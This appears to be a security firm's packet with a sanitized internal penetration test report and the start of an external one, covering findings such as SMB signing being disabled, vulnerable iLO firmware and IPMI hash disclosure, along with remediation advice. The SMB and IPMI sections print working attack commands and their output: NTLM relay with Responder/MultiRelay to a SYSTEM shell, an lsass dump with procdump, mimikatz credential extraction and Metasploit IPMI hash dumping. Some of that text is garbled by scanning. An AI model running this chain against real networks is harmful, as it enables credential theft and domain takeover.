The core GSG Assessment Team is established based on professionals that hold several respected security certifications. In addition, they have given information security related talks across the United States and are published in books and trade magazines on a range of security and audit topics. The team is made up of world class information security professionals with vast expertise in assessment methodology, policy and procedure, enterprise and point solutions, digital forensics and remediation.

The team that GSG forms to deliver audits and controls testing has over 50 years of combined experience. Besides the core team GSG is able to draw from a wide network of partnerships with professionals and vendors that bring talents and expertise established over multiple years across several industries.

Key Certifications:

Certified Information Systems Auditor (CISA)

GIAC Web Application Penetration Tester (GWAPT) GIAC Certified Forensic Analyst (GCFA exp) Certified Ethical Hacker (CEH exp) Certified Information Systems Security Professional (CISSP) Information Systems Security Architecture Professional (CISSP-ISSAP)

Tools Used

The following security tools were updated with the latest security threat definitions before deployment:

Tools	Description
Tenable Nessus	Nessus is a well-known professional tool used to perform vulnerability, configuration and compliance assessments.
Kali Linux	Kali Linux 2020.1 - Kali Linux is the new generation of the industry-leading Linux penetration testing and security auditing Linux distribution. Kali contains hundreds of penetration testing tools (open source).
Burp Suite Professional	Burp Suite Pro is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.

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5.6.2 Internal Network Vulnerability Scan and Penetration Test Report

The following is a "sanitized" copy of our internal network vulnerability scan and penetration test report. This is a report that has been made generic by removing all identifying information and replacing it with non-specific "placeholder" information.



Internal Network Vulnerability Scan and Penetration Test Report

Prepared for: Client-A (CLIENT-A)

> Report Date: October 2020

Presented on behalf of Global Solutions Group Inc.

by:

Project Manager

Disclaimer

This report is felt to contain confidential and sensitive information to the Client-A (CLIENT-A). As such we have labeled the report as "CONFIDENTIAL". We recommend that the report only be shared with entities officially connected to CLIENT-A which could include management, employees, attorneys, auditors and regulators.

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Internal Network Vulnerability Scan Penetration Test Report – October 2020	
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Detailed Test Results	6
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Executive Summary

During month of October 2020, Global Solutions Group Inc. (GSG) was engaged by the management of the Client-A (CLIENT-A) to simulate a real world like attack and penetration testing on their internal network.

This review was conducted to verify that reasonable controls were in place to comply with industry best practices and to confirm that access to the CLIENT-A's IT environment does not compromise system confidentiality, integrity, or availability of other resources. The goal of this engagement was to identify potential security risks and provide a foundation for improved risk-based decision-making that would help to achieve regulatory compliance and prioritize investments to meet security goals.

The examination of the network environment followed a phased assessment consisting of Data Collection and Scanning, Vulnerability Validation, and Documentation of Findings. Each phase is described in the Project Components section of this report. Various commercial and open source tools were used to evaluate CLIENT-A's network.

Scope and Objectives

The focus of this assessment was to find vulnerabilities, safely exploit them, and gain access to the CLIENT-A's system, without any detection, without any interference, and without any outage.

The following table contains the IPs (Domains), which were in scope for this assessment:

IP Addresses or Ranges	Domain, Host Names or URL
10.10.xx.xxx/00	

Test window(s):

All scans and testing were run on scheduled as agreed upon time in the Rules of Engagement document provided by the CLIENT-A. The client's trusted agents were informed before and after the testing windows opened and closed.

Initial Assessment: Start Date - End Date

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General Observation and Recommendations

GSG was engaged by the CLIENT-A to perform an attack, and penetration tests using real-world techniques and tools on its internal network.

These activities are commonly performed in one of two ways:

- Credentialed
- Non-Credentialed

GSG and CLIENT-A agreed to conduct the testing using Non-credentialed methods, and almost zero knowledge about the environment. This approach simulates an attacker with some knowledge of the systems. It also allowed GSG to target the selected in-scope systems and produce more focused results in less time.

During the penetration test, GSG found the issues listed below. Each detailed finding and recommendation for remediation are documented in a detailed findings section later in this report.

Vulnerability	Security Implications	Severity
Unsupported Operating System	Without latest patch attacker can gain unauthorized access to the system.	High
Vulnerable firmware	Unpatched application (firmware)	High
IPMI v2.0 Password Hash Disclosure	Attacker can takeover the system and launch denial of service attack.	High
SMB Signing not required	Attacker can conduct man-in-the-middle attacks against the SMB server.	High

Key Observations

- Unused accounts (including test accounts) were locked or disabled to prevent any misuse.
- Weakness in SMB could allow an attacker to compromise the server and obtain sensitive data.
- Unsupported Operating system or application can lead to system or data compromise.

Recommendations

- Develop and enforce baseline secure server and software development guide based on NIST, OWASP or other industry security standard.
- Update application to the latest version.
- Disable unnecessary services and protocols if not needed.
- Perform regular vulnerability scanning to identify any misconfiguration especially after any change in the system (server, OS, Firewall etc.)

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Project Methodology

The criteria used for this assessment is based upon the industry best practices, which represents a broad consensus about the most critical network, operating systems and web application security flaws (refer to the <u>Appendix-A</u> for further information).

This base methodology is applied in order to maintain a high quality of consistency, regardless of the application tested. However, unique application business logic and architecture often require an intuitive approach, prompting tests to accommodate situational attack vectors.

The general activities performed by GSG were part of a standard methodology consisting of the seven phases listed below. These phases were further augmented by the intuitive analysis of any specific asset's configuration or information discovered within the target environment by a highly trained and experienced penetration testing expert.

Below are the phases of penetration testing methodology:

Assessment Phase	Components	Tasks
1. Pre-engagement Interactions	Defining scope and communication methods	The scope of a project specifically defines what is to be tested. One key component of scoping an engagement is outlining how the testers should spend their time. We work with the client to discuss the scope and secure communication methods during and after the test is completed.
2. Intelligence Gathering	Understanding about the target	Intelligence Gathering is performing reconnaissance against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. We use various public and private resources to gain knowledge about the target systems (domain, websites, etc.)
3.Threat Modeling	Network Scan	We collect information on and performs a scan of, the network environment to gain knowledge of the configuration and identify known vulnerabilities with the use of automated tools.
4. Vulnerability Analysis	Research on vulnerability and possible exploit	We review the networks identified during the scan and eliminates information related to networks not germane to the security review. Vulnerabilities associated with the networks were then isolated and reviewed and validated.
5.Exploitation (If approved by the client)	Exploiting vulnerabilities	Attempt to exploit the vulnerabilities discovered in vulnerability detection phase and any additional vulnerability that is manually identified in this phase.
6.Post-exploitation (If approved by the client)	Gain access and elevate	Gain access to any server and explore any additional vulnerabilities which allow gaining access to the elevated/privilege user access (e.g., Local Administrator, Domain Administrator).
7.Reporting	Documentation, Discussion, and Final Report	We document the findings from analyzing the above information discusses those results with the Technology/Audit team and creates a final report for submission to senior management.

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Detailed Test Results

Below is a summary of the detail test results for each of the vulnerabilities that have been identified. The results provided include a description of the vulnerability along with an estimate of how easy it could be to exploit the vulnerability and the level of expertise needed to perform the exploit. In the "Solution" sections, we have identified actions, that if implemented, should help to remediate.

The detailed vulnerability has been outlined in the narrative and tables that follow:

Unsupported Operating System

Vulnerability	Unsupported	Jnsupported Windows OS						
Synopsys	The remote version of Microsoft Windows is either missing a service pack or is no longer supported. As a result, it is likely to contain security vulnerabilities.							
Severity	High							
CVSS Score	10	CWE/CVE	CWE/CVE N/A Exploitable Yes					
Affected Systems	IP(s)	Ports/Protocol	Service	FQDN	NetBIOS	Other		
	10.10.xx.xxx 10.10.xx.xxx	0/tcp	N/A	N/A	N/A	Windows 2008		

Description

During the assessment the tester came across multiple systems running outdated Operating Systems, such as Windows Server 2008. Support for these operating systems by Microsoft ended on January 15th, 2020 for the Server 2008. Lack of support implies that no new security patches for the product will be released by the vendor. As a result, these systems are likely to have security vulnerabilities over time which cannot be remediated. Furthermore, Microsoft is unlikely to investigate or acknowledge reports of vulnerabilities for these operating systems.

Other risks from using an outdated operating system occur whenever malware creators release malicious codes targeting unsupported and unpatched operating systems. Over time, the software developers and security software vendors offering malware protection will also stop providing detection signatures and product support for unsupported Operating Systems. With that in mind, any malware targeting older Operating Systems increases an organization's risk of compromise and data loss. This can be especially serious should that compromise, or data loss involve data stored by the organization on behalf of their clients.

Solution

Upgrade outdated software or operating systems to a version currently supported by the vendor. The upgrade process should include a migration plan that includes the appropriate

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levels of testing to ensure that new vulnerabilities are not introduced as part of the upgrade and that existing business applications are compatible with the upgrade.

Review and verify that existing policies and procedures provide the necessary guidance to ensure critical operating systems and software are monitored to reduce the risk of running outdated or unsupported versions.

Additional Resources

https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-server-eosfaq/end-of-support-windows-server-2008-2008r2

Ease of Exploit

Hard Skill Level Needed Expert **Technical Details** N/A **Exploit Attempts** N/A Management Response {Please insert corrective action(s) or risk acceptance here.}

SMB Signing not required

Vulnerability	Microsoft Server Message Block (SMB) Signing Disabled						
Synopsys	The weakness in the SMB protocol allows an attacker to launch a Man-in- The-Middle attack to gain unauthorized access.						
Severity	HIGH	HIGH					
CVSS Score	9*	CWE	200 Ex		Exploitable	Yes	
Affected Systems	IP(s)	Ports/Protocol	Service	FQDN	NetBIOS	Other	
	10.10.xx.xxx 10.10.xx.xxx	445/tcp	SMB	N/A	N/A	N/A	
Description							
Comuca Massage	Diask (CNAD) is the	a file mucha cal use		المعمينيام	A Mindaus C	MD Clasing	

Server Message Block (SMB) is the file protocol most commonly used by Windows. SMB Signing is a feature through which communications using SMB can be digitally signed at the packet level. Digitally signing the packets enables the recipient of the packets to confirm their point of

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origination and their authenticity. This security mechanism in the SMB protocol helps avoid issues like tampering of packets and "Man-in-the-Middle" attacks.

*- The base CVSS was modified to 9 from the original 5 due to the service configuration could allow guest/non-domain user to take over the Domain.

Solution

There are multiple ways to mitigate the issues.

1. Disable SMBv1. As described here - https://support.microsoft.com/kb/2696547

Enable SMB signing for all client server communications.

3. At the network level, disable APR poisoning/spoofing.

4. Use Network Access Control NAC) to protect networks from attacks using unauthorized devices.

5. Periodically (weekly, if possible, using some test cases) run the

Sharphound/Bloodhound tool as a blue team test (IT Support - SOC) to manage group permission and user rights.

6. Disable IPv6 if not needed.

Additional Resources

https://www.cvedetails.com/microsoft-bulletin/ms09-050/

https://www.exploit-db.com/exploits/9594

Ease Of Exploit

Easy

Skill Level Needed

Expert

Technical Details

SMB signing is available in all currently supported versions of Windows, but it's only enabled by default on Domain Controllers. This is recommended for Domain Controllers because SMB is the protocol used by clients to download Group Policy information. SMB signing provides a way to ensure that the client is receiving genuine Group Policy.

NTLM is a challenge/response protocol. The authentication happens something like this: First, the client attempts to login and the server responds with a challenge. In effect the server says, "If you are who you say you are, then encrypt this thing (Challenge X) with your hash." Next, the client encrypts the challenge and sends back the encrypted challenge response. The server then attempts to decrypt that encrypted challenge response with the user's password hash. If it decrypts to reveal the challenge that it sent, then the user is authenticated.

The following is a description of a challenge/response authentication. With SMB Relay attacks, the attacker inserts himself into the middle of that exchange. The attacker selects the target server he wants to authenticate to and then the attacker waits for someone on the network to

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authenticate to his machine. This is where rogue host detection, vulnerability scanners, and administrator scripts that automatically authenticate to hosts become a penetration tester's best friends. When the automated process connects to the attacker, he passes the authentication attempt off to his target (another system on the network, perhaps a server). The target generates a challenge and sends it back to the attacker. The attacker sends the challenge back to the originating scanning system. The scanning system encrypts the hash with the correct password hash and sends it to the attacker. The attacker passes the correctly encrypted response back to his target and successfully authenticates. This process is shown in the next illustration.



During testing GSG noted that multiple servers were affected by both SMBv1 and SMB signing being disabled. An attacker with physical access and enough time or the right placement of the device can easily launch credential passing (Pass the hash attack) and could obtain access to the server or workstation.

Exploit Attempts

Initially tester attached his laptop to the network connection at conference room. The laptop's ethernet port was configured in promiscuous mode to listen network traffic and learn about network and services used. Tester learned about local network range (10.10.xx.xxx/00), various printers, DNS servers, AD servers and other network devices.

In next phase, tester used laptop in DHCP mode and obtain network assigned IP address (10.10.xx.xxx). Tester then scanned local network using nmap to gain more knowledge.

While running network scans the Tester also launched a Man-in-the-Middle attack using the 'Responder' tool to obtain hash/password from the user by impersonating other network devices or servers.

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Also, in parallel, the Tester launched another attack to pass access to a server where with SMBv1 was enabled and SME answers to specific NBT-NS (NetBIOS Name Service) queries I the process collects the NTLM, NTLMv2 hashes, which can ei attack or passed using the MultiRelay tool. Fe https://github.com/Igandx/Responder.	the SMB hash and tried to gain 3 signing was disabled. This tool based on their name suffix and in ther be cracked using brute force or more details refer to,
The Tester then started MultiRelay, which is a module in Responsion using NTLMv1 and NTLMv2 relay. MultiRelay takes advant Windows environments not enforcing SMB signing. Not enfor the client and server not performing any validation of client of by the device. This makes SMB Man-in-the-Middle attach hacker/attacker can obtain command shell access.	onder that allows targeted attacks age of commonly misconfigured rcing SMB signing results in both or server, or the payload executed cks possible, which means the
tester@HP-Laptop:/opt/responder/tools\$ sudo ./MultiRelay.py -u ALL -t 1	.0.10.xx.xxx
Responder MultiRelay 2.0 NTLMv1/2 Relay	
Send bugs/hugs/comments to: Usernames to relay (-u) are case sensitive. To kill this script hit CTRL-C.	
/* Use this script in combination with Responder.py for best results. Make sure to set SMB and HTTP to OFF in Responder.conf.	
This tool listen on TCP port 80, 3128 and 445. For optimal pwnage, launch Responder only with these 2 options: -rv	
Avoid running a command that will likely prompt for information like net i If you do so, use taskkill (as system) to kill the process. */	use, etc.
Relaying credentials for these users: ['ALL']	
Retrieving information for 10.10.10.xxx SMB signing: False Os version: 'indows 10 Pro 18363' Hostname: 'PC-USER16' Part of the 'CLIENT-A' domain	
 [+] Setting up SMB relay with SMB challenge: e7ee3ed7a9fed9a8 [+] Received NTLMv2 hash from: 10.10.10.yy None [+] Username: STAFFACCT01-16\$ is whitelisted, forwarding credentials. 	
 [+] SMB Session Auth sent. [+] Relay Failed, Tree Connect AndX denied. This is a low privileged user o [+] Hashes were saved anyways in Responder/logs/ folder. 	r SMB Signing is mandatory.
 [+] Setting up HTTP relay with SMB challenge: 62c751023e620000 [+] Received NTLMv2 hash from: 10.10.10.2xx None [+] Username: LST is whitelisted, forwarding credentials. [+] SMB Session Auth sent. [+] Locks good LST has adding rights an Official Statement of C 	
 [+] LOOKS good, LST has admin rights on C\$. [+] Authenticated. 	

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mal Network Vulnerability Scan etration Test Report – October 2020
[+] Dropping into Responder's interactive shell, type "exit" to terminate
Available commands: dump -> Extract the SAM database and print hashes. regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM) read Path_To_File -> Read a file (eg: read /windows/win.ini) get Path_To_File -> Download a file (eg: get users/administrator/desktop/password.txt) delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe) upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\ runas Command -> Run a command as the currently logged in user. (eg: runas whoami) scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to pivot IP address -> Connect to another host (eg: pivot 10.0.0.12) mimi command -> Run a remote Mimikatz 32 bits command (eg: mimi coffee) mimi32 command -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig) help -> Print this message.
exit -> Exit this shell and return in relay mode.
Any other command than that will be run as SYSTEM on the target.
Connected to 10.10.xx.xxx as LocalSystem. C:\Windows\system32\:#whoami nt authority\system
C:\Windows\system32\:#ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix .: CLIENT-A.local IPv4 Address: 10.10.xx.xxx Subnet Mask: 255.255.xxx.x Default Gateway: 10.10.xx.xx
Wireless LAN adapter Wireless Network Connection:
Media State : Media disconnected Connection-specific DNS Suffix . :
Wireless LAN adapter Local Area Connection* 1:
Media State: Media disconnected Connection-specific DNS Suffix .:
C:\Windows\system32\:#put /root/procdump64.exe 'put' is not recognized as an internal or external command, operable program or batch file.
C:\Windows\system32\:#upload /root/procdump64.exe File size: 333.66KB
[=======] 100.0% Uploaded in: -0.951 seconds C:\Windows\system32\:#c:\windows\temp\procdump64.exe -ma -accepteula Isass.exe C:\Windows\temp\PC- USER16.dmp

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ProcDump v9.0 - Sysinternals process dump utility Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [15:05:00] Dump 1 initiated: C:\Windows\temp\PC-USER16.dmp [15:05:00] Dump 1 writing: Estimated dump file size is 55 MB. [15:05:00] Dump 1 complete: 56 MB written in 0.3 seconds [15:05:00] Dump count reached. C:\Windows\system32\:#eet /windows/temp/PC-USER16 dmp
File size: 53.92MB [======] 100.0% Downloaded in: 5.5 seconds [+] Done. C:\Windows\system32\:#
The Tester downloaded the dumped memory file and ran Mimikatz (Offline) on a separate machine to obtain any clear text passwords from the memory. After parsing the memory dump using another memory parser (Mimikatz - https://github.com/gentilkiwi/mimikatz), the tester was able to see the clear text passwords for multiple accounts. Some of these users were local administrator as well as members of the Domain Admin Group.
mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp' mimikatz # sekurlsa::logonPasswords Opening : 'lsass.dmp' file for minidump
Authentication Id : 0 ; 347319454 (00000000:14b3ac9e) Session : Service from 0 User Name : Admin1 Domain : CLIENT-A Logon Server : CLIENT-A-AD Logon Time : 3/4/2020 8:39:49 AM SID : S-1-5-21-4027773649-916568935-2984748506-1145 msv :
[00000003] Primary * Username : Admin1 * Domain : CLIENT-A * NTLM : ← Masked to protect * SHA1 : [00010000] CredentialKeys * NTLM :
* SHA1 : tspkg : wdigest : * Username : Admin1 * Domain : CLIENT-A * Password : (null) kerberos : * Username : Admin1 * Domain : CLIENT-A.LOCAL

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Internal Network Vulnerability Scan Penetration Test Report - October 2020 * Password : (null) ssp: credman : mimikatz # exit Bye! Using these credentials, the Tester was able to connect to the Domain controller using another tool 'SharpHound' and gain read access to the Organizational Unit ('OU') structure. Microsoft Windows Active Directory, by design, allows any authenticated object (User or Computer) to read the structure and properties and other details. After importing results of SharpHound into BloodHound the Tester was able to run various queries and see (visualize) the relationships, accesses (RDP or Admin), and query paths to gain privileged access to various systems. ≣ A M Ŧ Start typing to search for a node. Database Info Node Info Queries Database Info DB Address bolt://localhost:7687 DB User neo4i 28149 Users Computer 10516 27382 Groups Session 7926 584565 ACLS 1623214 Relationships As seen below, the use account 'jsXXXXXX' has following properties and group memberships.

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In a secure network deployment, (a) Network jacks are configured in 802.xx mode to restrict any unauthorized devices, and (b) Network switches are configured to prevent any APR spoofing.

GSG noted that users were local administrators to their own computers.

GSG noted excessive rights were provided via group membership.

Management Response

{Please insert corrective action(s) or risk acceptance here.}

Vulnerable firmware

Vulnerability	A remote command execution vulnerability exists in Integrated Lights-Out 4 (iLO 4) due to a buffer overflow in the server's http connection handling code.							
Synopsys	An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands.							
Severity	High	High						
CVSS Score	6 *	CWE 809 Exploitable				Yes		
Affected	IP(s)	Ports/Protocol	Service	FQDN	NetBIOS	Other		
Systems	10.10.xx.xx 10.10.xx.xx	80/tcp 443/tcp	www	N/A	N/A	HP Firmware		

Description

According to its version number, the remote HP Integrated Lights-Out (iLO) server is affected by multiple vulnerabilities:

- A remote command execution vulnerability exists in HP Integrated Lights-Out (iLO) server due to an unspecified reason. An unauthenticated, remote attacker can exploit this to bypass authentication and execute arbitrary commands on the server (CVE-2018-7078).

- A denial of service (DoS) vulnerability exists in HP Integrated Lights-Out (iLO) server due to unspecified reason.

An unauthenticated, remote attacker can exploit this issue to cause the application to stop responding (CVE-2018-7101).

*- The base CVSS was modified to 6 from the original 8.8 (CVE-2018-7101) and 7.2 (CVW-2018-7078) due to the server is accessible from the internal network, with additional physical restrictions.

Solution

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For HP Integrated Lights-Out (iLO) 4 upgrade firmware to 2.60 or later. For iLO 5, upgrade firmware to 1.30 or later.

Additional Resources

CVE-2018-7101 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7101) CVE-2018-7078 (http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7078)

HPESBHF03844 rev.3 - HPE Integrated Lights-Out 4, 5 (iLO 4, 5) iLO Moonshot and Moonshot iLO Chassis Manager, Remote or Local Code Execution

HPESBHF03875 rev.1 - HPE Integrated Lights Out 4 and 5, (iLO 4, 5), Remote Denial of Service

Ease Of Exploit

Easy

Skill Level Needed

Expert

Technical Details

A vulnerability has been discovered in HPE Integrated Lights-Out 4 (iLO 4) servers, which could allow for remote code execution. HPE iLO 4 is an embedded server management tool used for out-of-band management. Successful exploitation of this vulnerability could result in remote code execution or authentication bypass. Successful exploitation of the vulnerability could result in the extraction of plaintext passwords, addition of an administrator account, execution of malicious code, or replacement of iLO firmware.

Exploit Attempts

N/A

Management Response

{Please insert corrective action(s) or risk acceptance here.}

IPMI v2.0 Password Hash Disclosure

Vulnerability	The remote host supports IPMI v2.0. The Intelligent Platform Management Interface (IPMI) protocol is affected by an information disclosure vulnerability.
Synopsys	A remote attacker can obtain password hash information for valid user accounts via the HMAC from a RAKP message 2 response from a BMC.
Severity	High

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CVSS Score	6 *	CWE	809, CVE-2013- 4786		Exploitable	Yes
Affected Systems	IP(s)	Ports/Protocol	Service	FQDN	NetBIOS	Other
	10.10.xx.xxx 10.10.xx.xxx	623/udp	rmcp	N/A	N/A	N/A

Description

The Intelligent Platform Management Interface (IPMI) protocol is affected by an information disclosure vulnerability allowing an attacker to obtain the password hashes for valid user accounts.

*- The base CVSS was modified to 6 from the original 7.5 (CVE-2013-4786) due to the server is accessible from the internal network, with additional physical restrictions.

Solution

There is no patch for this vulnerability; it is an inherent problem with the specification for IPMI v2.0. Suggested mitigations include :

- Disabling IPMI over LAN if it is not needed.

- Using strong passwords to limit the successfulness of off-line dictionary attacks.

- Using Access Control Lists (ACLs) or isolated networks to limit access to your IPMI management interfaces.

Additional Resources

CVE-2013-4786 - http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4786

Ease Of Exploit

Easy

Skill Level Needed

Expert

Technical Details

During assessment tester came across the system which has IPMI services. Upon further testing attacker found that this service had a weakness which could be exploited. Upon approval from IT, tester used the Metasploit and obtained two sets of credentials. The figures below show that an attacker can authenticate to the devices via the web portal to obtain additional information about the corporate network and impact the availability of the systems supported by the integrated controllers.

use auxiliary/scanner/ipmi/ipmi_dumphashes

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ernal Network Vulnerability Scan netration Test Report – October 2020] IP, IN
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.10.10.xxx RHOSTS => 10.10.10.xxx msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > run	
[+] 10.10.xxxxx:623 - IPMI - Hash found:	
Administrator	
[*] Scanned 1 of 1 hosts (100% complete)	
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.10.10.xxx	
RHOSTS => 10.10.10.xxx	
This Sauxinary (scamer/ipini/ipini_dumphasies) > tun	
[+] 10.10.10.xxx:623 - IPMI - Hash found:	
Administrator:	
[*] Scanned 1 of 1 hosts (100% complete)	
['] Auxiliary module execution completed	
msf5 > use auxiliary/scanner/ipmi/ipmi_dumphashes	
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.10.xx.xxx-xxx RHOSTS => 10.10.10.xxx-xxx	
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat	
OUTPUT_HASHCAT_FILE => out.hashcat msf5 auviliaru(scanner/inmi/inmi_dumphashes) > set OUTPUT_IOHN_EUE out inhn	
OUTPUT_JOHN_FILE => out.john	
msf5 auxiliary(scanner/ipmi_dumphashes) > run	
[+] 10.10.10.xxx:623 - IPMI - Hash found:	
Administrator	
[*] Scanned 2 of 11 hosts (18% complete)	
[*] Scanned 3 of 11 hosts (27% complete)	
[*] Scanned 4 of 11 hosts (36% complete) [*] Scanned 5 of 11 hosts (45% complete)	
[*] Scanned 6 of 11 hosts (54% complete)	
[*] Scanned 7 of 11 hosts (63% complete)	
[*] Scanned 9 of 11 hosts (81% complete)	
[*] Scanned 10 of 11 hosts (90% complete)	
Administrator:	
[*] Scanned 11 of 11 hosts (100% complete) [*] Auxiliary module execution completed	
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) >	
Exploit Attempts	
N/A	
Management Response	

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Appendix-A: Risk Rankings

A Risk matrix is a matrix that is used during risk assessment to define the level of risk by considering the category of probability or likelihood against the category of consequence severity. This is a simple mechanism to increase the visibility of risks and assist management decision making.

A risk is the amount of impact that can be expected to occur during a given period due to a specific event (e.g., System Failure/Compromise). Statistically, the level of risk can be calculated as the product of the probability that an incident occurs multiplied by the severity of that impact (i.e., the average amount of data loss or productivity down). In practice, a risk matrix is a useful approach where either the probability or the severity cannot be estimated with accuracy and precision.

For example, the potential Impact can be categorized as:

- High Multiple System Failures
- Medium One or More System Failures
- Low One System Failure or Some Minor Issues

The probability of harm occurring might be categorized as High, Medium, or Low. However, it must be considered that very low probabilities may not be very reliable.

The resulting Risk Matrix could be:

Severity versus Probability	Low	Medium	High
High Potential Impact on Systems/Network/Users	Medium Risk	High Risk	High Risk
Medium Potential Impact on Systems/Network/Users	Medium Risk	Medium Risk	High Risk
Low Potential Impact on Systems/Network/Users	Low Risk	Low Risk	Medium Risk

The company or organization then would calculate what levels of risk they can take with different events. This would be done by weighing up the risk of an event occurring against the cost to implement safety and the benefit gained from it.

Threat Agent Factors

The first set of factors were related to the threat agent involved. The goal here is to estimate the likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.

Skill level

How technically skilled is this group of threat agents? No technical skills (1), some technical skills (3), advanced computer user (5), network and programming skills (6), security penetration skills (9).

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Motive

How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9).

Opportunity

What resources and opportunities were required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9).

Size

How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9).

Vulnerability Factors

The next set of factors were related to the vulnerability involved. The goal here is to estimate the likelihood of the particular vulnerability involved being discovered and exploited. Assume the threat agent selected above.

Ease of discovery

How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9).

Ease of exploit

How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9).

Awareness

How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9).

Intrusion detection

How likely is an exploit to be detected? Active detection in application (1), logged and reviewed (3), logged without review (8), not logged (9)

https://www.owasp.org/index.php/OWASP Risk Rating Methodology

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Appendix-B: Attacks and Tests Performed Based on OWASP TOP 10

The following list details the most common attacks that can put an application at risk. Each attack is delegated to a category and contains links for further reading.

OWASP

Application Security Risks: Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.



Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.

References

- OWASP Risk Rating Methodology https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
- Article on Threat/Risk Modeling https://www.owasp.org/index.php/Threat_Risk_Modeling

OWASP Top-10 (2017)

https://www.owasp.org/index.php/Category:OWASP Top Ten Project

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Appendix C: Engagement Team and Tools

The core GSG Assessment Team is established based on professionals that hold several respected security certifications. In addition, they have given information security related talks across the United States and are published in books and trade magazines on a range of security and audit topics. The team is made up of world class information security professionals with vast expertise in assessment methodology, policy and procedure, enterprise and point solutions, digital forensics and remediation.

The team that GSG forms to deliver audits and controls testing has over 50 years of combined experience. Besides the core team GSG is able to draw from a wide network of partnerships with professionals and vendors that bring talents and expertise established over multiple years across several industries.

Key Certifications:

Certified Information Systems Auditor (CISA) GIAC Web Application Penetration Tester (GWAPT) GIAC Certified Forensic Analyst (GCFA exp) Certified Ethical Hacker (CEH exp) Certified Information Systems Security Professional (CISSP) Information Systems Security Architecture Professional (CISSP-ISSAP)

The professionals involved in this network, web application penetration testing and assessment included the following:

GCS Team

Vatsal Shah, CISA, CISSP-ISSAP, GWAPT, PCIP, CEH¹, GCFA¹ Senior Penetration Tester Vicki Shah, PMP Project Manager

¹ This certification has expired and is not being kept officially active.

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Tools used during this Engagement

The following network vulnerability and security tools were updated with the latest security threat definitions before deployment:

Tools	Description		
Tenable Nessus	Nessus is a well-known professional tool used to perform vulnerability, configuration and compliance assessments.		
Kali Linux	Kali Linux - Kali Linux is the new generation of the industry-leading Linux penetration testing and security auditing Linux distribution. Kali contains hundreds of penetration testing tools (open source).		
Burp Suite Professional	Burp Suite Pro is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security subscrabilities		

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5.6.3 External Penetration Test Report

The following is a "sanitized" copy of our external penetration test report. This is a report that has been made generic by removing all identifying information and replacing it with non-specific "placeholder" information.



External Penetration Test Report

Prepared for:

Final Report Date

12/21/2020

Presented on behalf of Global Solutions Group Inc. by:

Vicki Shah

Project Manager

Vatsal Shah

Sr. Penetration Tester

Disclaimer



Executive Summary

In November - December 2020, Global Solutions Group Inc. (GSG) was engaged by the management of the to simulate a real-world attack and penetration testing on their external (Internet) facing network and web applications.

This review was conducted to verify that reasonable controls were in place to comply with industry best practices and confirm that access to the **second** IT environment does not compromise system confidentiality, integrity, or other resources' availability. This engagement aimed to identify potential security risks and provide a foundation for improved risk-based decision-making that would help achieve regulatory compliance and prioritize investments to meet security goals.

The network environment examination followed a phased assessment consisting of Data Collection and Scanning, Vulnerability Validation, and Documentation of Findings. Each phase is described in the Project Components section of this report. Various commercial and open-source tools were used to evaluate **environment** network and web applications.

Scope and Objectives

This assessment's focus was to find vulnerabilities, safely exploit them, and gain access to the system, without any detection, without any interference, and without any outage.

- Non-credentialed testing from the perspective of an unauthorized, external attacker.
- Identification of system, service, and application weaknesses can be exploited to cause damage, access privileged information, or exceed established levels of privilege.
- Attempted exploitation of identified weaknesses, using non-destructive, minimally-invasive techniques.
- Document and report on all findings.

The following table contains the IPs (Domains), which were in scope for this assessment:





General Observation and recommendations

The **second** engaged GSG to perform attack and penetration tests using real-world techniques and internal network tools.

These activities are commonly performed in one of two ways:

- Credentialed
- Non-Credentialed

GSG and greed to conduct the testing using the non-credentialed method utilizing limited knowledge about the environment as well. This approach simulates an attacker with very limited knowledge of the systems. The provided the external IP addresses, which allowed GSG to assess the selected in-scope systems and produce more focused results in less time.

